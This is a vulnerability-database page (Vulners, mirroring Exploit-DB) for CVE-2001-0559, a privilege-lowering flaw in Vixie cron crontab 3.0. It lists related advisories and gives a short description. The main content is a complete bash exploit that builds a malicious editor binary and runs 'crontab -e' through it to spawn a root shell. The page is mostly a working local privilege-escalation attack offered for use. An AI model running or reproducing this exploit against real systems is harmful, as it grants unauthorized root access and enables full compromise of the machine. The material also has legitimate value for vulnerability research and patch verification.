Lucene search
+L

Vixie Cron crontab 3.0 - Privilege Lowering Failure (1)

🗓️ 07 May 2001 00:00:00Reported by Sebastian KrahmerType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 32 Views

Vixie Cron vulnerability allows privilege escalation due to parsing errors post modification.

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
Debian GNU/Linux Local Compromise Data Compromise
28 Apr 201500:00
–bdu_fstec
cve
CVE
CVE-2001-0559
9 Mar 200205:00
–cve
cvelist
Cvelist
CVE-2001-0559
9 Mar 200205:00
–cvelist
nessus
Tenable Nessus
Debian DSA-054-1 : cron - local root exploit
29 Sep 200400:00
–nessus
nessus
Tenable Nessus
Mandrake Linux Security Advisory : vixie-cron (MDKSA-2001:050)
31 Jul 200400:00
–nessus
exploitdb
Exploit DB
Vixie Cron crontab 3.0 - Privilege Lowering Failure (2)
5 Jul 200100:00
–exploitdb
euvd
EUVD
EUVD-2001-0551
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2001-0559
14 Aug 200104:00
–nvd
openvas
OpenVAS
Debian Security Advisory DSA 054-1 (cron)
17 Jan 200800:00
–openvas
openvas
OpenVAS
Debian Security Advisory DSA 054-1 (cron)
17 Jan 200800:00
–openvas
Rows per page
source: https://www.securityfocus.com/bid/2687/info

Vixie cron is an implementation of the popular UNIX program that runs user-specified programs at periodic scheduled times.

When a parsing error occurs after a modification operation, crontab will fail to drop privileges correctly for subsequent modification operations.

This vulnerability may be exploited to gain root privileges locally.

#!/bin/bash

clear
echo ".-----------------------------------------------------------."
echo "| Marchew.Hyperreal presents: vixie crontab exploit #728371 |"
echo "|===========================================================|"
echo "| Sebastian Krahmer <[email protected]>                   |"
echo "| Michal Zalewski <[email protected]>                     |"
echo "\`-----------------------------------------------------------'"
echo

test "$CRONBIN" = "" && CRONBIN=/usr/bin/crontab

echo    ">>> Using binary:  $CRONBIN"
echo -n ">>> Setuid check:  "

if [ -u $CRONBIN ]; then
  echo "PASSED"
else
  echo "FAILED"
  echo
  exit 1
fi

echo -n ">>> Version check: "

QQ=`strings $CRONBIN | grep '43 vixie Exp'`

if [ "$QQ" = "" ]; then
  echo "FAILED"
  echo
  exit 1
else
  echo "PASSED"
fi

echo ">>> Building exploit..."

cat >edit0r.c <<_eof_
#include <stdio.h>
int main(int argc,char* argv[]) {
  sleep(1);
  if (geteuid()) {
    FILE* x=fopen(argv[1],"w");
    fprintf(x,"blah blah blah\n");
    fclose(x);
  } else {
    dup2(1,0);
    dup2(1,2);
    printf("\n>>> Entering rootshell, babe...\n");
    system("touch $HOME/.xploited");
    system("bash");
  }
}
_eof_

gcc edit0r.c -o edit0r &>/dev/null
rm -f edit0r.c

if [ ! -f edit0r ]; then
  echo ">>> Cannot compile exploit."
  echo
  exit 1
fi

rm -f ~/.xploited

echo ">>> Performing attack..."

( echo "y"; echo "n" ) | VISUAL=$PWD/edit0r $CRONBIN -e 2>/dev/null

rm -f edit0r

if [ -f ~/.xploited ]; then
  echo
  echo ">>> Thank you."
  rm -f ~/.xploited
  echo
  exit 0
else
  echo
  echo ">>> Apparently I am not able to exploit it, sorry..."
  echo
  exit 1
fi

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Aug 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.01101
32